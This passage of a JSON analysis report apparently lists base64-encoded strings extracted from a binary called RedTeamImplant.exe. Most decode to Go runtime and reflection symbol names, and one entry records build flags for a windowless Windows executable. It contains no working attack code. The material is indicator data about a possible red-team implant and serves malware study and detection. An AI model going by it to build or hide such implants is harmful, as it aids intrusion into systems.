Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5Jc0Ficw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5qb2lu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5Kb2lu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5zcGxpdExpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5TcGxpdExpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5Wb2x1bWVOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aGNvbW1hbmQtbGluZS1hcmd1bWVudHNidWlsZC1idWlsZG1vZGU9ZXhlYnVpbGQtY29tcGlsZXI9Z2NidWlsZC1sZGZsYWdzPSItcyAtdyAtSD13aW5kb3dzZ3VpIC1leHRsZGZsYWdzPS1zdGF0aWMiYnVpbGRDR09fRU5BQkxFRD0wYnVpbGRHT0FSQ0g9YW1kNjRidWlsZEdPT1M9d2luZG93c2J1aWxkR09BTUQ2ND12MQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGNsbk9mZnNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGNsbnRhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGN0YWJPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGN2YWx1ZUNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGlkZmRTZW5kU2lnbmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGlkZmRXYWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGlkU3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGlubmVyQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGlubmVyQml0U2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGlubmVyQ2FjaGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGtnaGFzaGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGx1Z2lucGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UG9pbnRlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cG9pbnRlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cG9vbERlcXVldWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cG9vbExvY2FsSW50ZXJuYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ca","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cG93cnByb2YuZGxs","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJlY2lzaW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlY1ByZXNlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlZW1wdEV4dExvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlZW1wdEdlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlZW1wdG9mZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlZW1wdFNocmluaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlZW1wdFN0b3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlcGFyZUZvclN3ZWVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlcGFyZVJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJlcGFyZVdyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJpbnRDb250cm9sbGVyUmVzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJpbnRsb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJpbnRWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc0F0dHJpYnV0ZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1N0YXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJvZmlsZWh6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJvZlN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdG9jb2xDaGFpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdG9jb2xNYXhPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdG9jb2xOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJGbGFncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJJZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJSZXNlcnZlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJ1bmVUb21ic3RvbmVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHRyVG9UaGlz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHVibGlzaEluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHVzaEhlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0T2JqQmF0Y2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0T2JqRmFzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0U2xvdFNtYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0U2xvdFNtYWxsRmFzdDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0U2xvdFNtYWxsRmFzdDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0U2xvdFNtYWxsRmFzdFB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHV0U2xvdFNtYWxsRmFzdFN0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"USphdG9taWMuUG9pbnRlcltpbnRlcm5hbC9zeW5jLmVudHJ5W2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UipzdHJ1Y3QgeyBmIGZ1bmMoKSBib29sOyBvbmNlIHN5bmMuT25jZTsgdmFsaWQgYm9vbDsgcCBpbnRlcmZhY2Uge307IHJlc3VsdCBib29sIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmFjZWlnbm9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmFjZXByb2NjdHg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VGYWlsRmFzdEV4Y2VwdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmFuZ2VmdW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmF3Q29udHJvbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmF3V3JpdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$cb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$cc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$cd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ce","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZGJ5dGVPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZENvbnNvbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZGRpcm5hbWVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZGVyQ291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZGVyU2Vt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZGVyV2FpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZyb21JbmV0NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZyb21JbmV0Ng==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZExvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZE1zZ0luZXQ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZE1zZ0luZXQ2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZHVpbnQxNg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZFVubG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZFZhcmludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVhZHlOZXh0R2Vu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVjbGFpbWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVjb3JkVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVjb3ZlcmVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVlbnRlcmVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmaWxsQWxsb2NDYWNoZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkuYWRkQXJn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkuYWRkUmN2cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkuYXNzaWduRmxvYXRO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkuYXNzaWduSW50Tg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkucmVnQXNzaWdu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkuc3RhY2tBc3NpZ24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmFiaVNlcSkuc3RlcHNGb3JWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmJpdFZlY3RvcikuYXBwZW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKkNoYW5EaXIpLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmludGVyZmFjZVR5cGUpLm5hbWVPZmY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmludGVyZmFjZVR5cGUpLk51bU1ldGhvZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKmludGVyZmFjZVR5cGUpLnR5cGVPZmY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKktpbmQpLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKk1hcEl0ZXIpLktleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKk1hcEl0ZXIpLk5leHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKk1hcEl0ZXIpLlZhbHVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5jb21tb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5Db21wYXJhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5FbGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5leHBvcnRlZE1ldGhvZHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5GaWVsZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5LaW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5MZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5uYW1lT2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5OdW1NZXRob2Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS5TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS50ZXh0T2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS50eXBlT2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnJ0eXBlKS51bmNvbW1vbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKnN0cnVjdFR5cGUpLkZpZWxk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKlZhbHVlKS5Db21wYXJhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKlZhbHVlKS5LaW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKlZhbHVlKS5MZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKlZhbHVlKS5TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC4oKlZhbHVlRXJyb3IpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5hZGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5hZGRSZWZsZWN0T2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5hZGRUeXBlQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5hbGlnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5hcmNoRmxvYXQzMlRvUmVn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5hcnJheUF0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5jYWxsTWV0aG9k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5DaGFuRGlyLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5jaGFubGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5jb3B5VmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5lbGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5lc2NhcGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mbGFnLmtpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mbGFnLm11c3RCZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mbGFnLnBhbmljTm90TWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mbGFnLnJv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mbG9hdEZyb21SZWc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mbG9hdFRvUmVn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mdW5jTGF5b3V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5mdW5jTGF5b3V0LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5IOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5pbnRGcm9tUmVn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5pbnRUb1JlZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5LaW5kLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tYWtlTWV0aG9kVmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tYXBJdGVyTmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tYXBJdGVyU3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tYXBsZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tZW1tb3Zl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tZXRob2RSZWNlaXZlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tZXRob2RWYWx1ZUNhbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxDb2RlUHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5tb3ZlTWFrZUZ1bmNBcmdQdHJz","type":"Ansi","source":"Memory/File 